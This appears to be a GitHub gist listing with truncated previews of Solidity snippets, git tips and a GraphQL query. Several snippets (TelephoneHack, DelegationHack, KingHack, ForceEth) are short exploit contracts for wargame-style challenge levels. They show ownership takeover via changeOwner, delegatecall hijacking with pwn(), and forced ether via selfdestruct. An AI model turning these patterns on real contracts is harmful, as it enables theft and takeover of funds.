This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.0; | |
import "@openzeppelin/contracts/access/Ownable.sol"; | |
//title Set and get a state variable | |
contract SimpleStorage is Ownable { | |
uint16 public monthlyFee; | |
//dev Set the monthlyFee value restricted to the owner | |
function setMonthlyFee(uint16 _monthlyFee) onlyOwner public { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.6; | |
library Address { | |
function isContract(address account) internal view returns (bool) { | |
uint size; | |
assembly { | |
size := extcodesize(account) | |
} | |
return size > 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol'; | |
// Create an interface to call the target | |
interface ICoinFlip { | |
function flip(bool _guess) external returns (bool); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract TelephoneHack { | |
function telephoneHack() public { | |
bytes memory changeLoad = abi.encodeWithSignature("changeOwner(address)", 0xF2FF428414A3C798f3e59A101C0f659641Edcc29); | |
// Change to your instance address | |
(bool success,) = 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(changeLoad); | |
require(success); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract DelegationHack { | |
function delegationHack() public pure returns (bytes memory) { | |
bytes memory functionID = abi.encodeWithSignature("pwn()"); | |
return functionID; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract KingHack { | |
function kingHack(address payable _to) public payable { | |
(bool sent, ) = _to.call.value(msg.value)(""); | |
require(sent, "Failed to send value!"); | |
} | |
function seedEth() public payable { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract ForceEth { | |
function forceEth() external payable { | |
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5; | |
selfdestruct(attackContract); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
/*How to Sign and Verify a message | |
0. Create message to sign | |
1. Get message hash by calling getMessageHash() | |
2. Eth sign the message hash by calling getEthSignedMessageHash() | |
3. On the browser, unlock MetaMask account typing ethereum.enable() | |
4. Using browser, sign the message hash: | offchain to keep your private key secret | |
account = "copy paste account of signer here" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
WINDOWS | |
Open the Windows File Explorer (or use the shortcut WIN + E) | |
GIT | |
> descartar todos tus commits en local y volver al ultimo push visible en github: | |
git reset --hard origin/main | |
> volver a un commit anterior: | |
git checkout b29e5d6 (el codigo del commit donde quieras ir) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { request, gql } = require("graphql-request"); | |
// Function to query the subgraph and retrieve 6551-accounts for the given user | |
async function checkAccountForUser(contract, id, chainId) { | |
const endpoint = | |
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/mock-wallets"; | |
const query = gql` | |
query MyQuery($contract: Bytes, $id: BigInt, $chainId: BigInt) { | |
accounts( | |
where: { | |
and: [ |
OlderNewer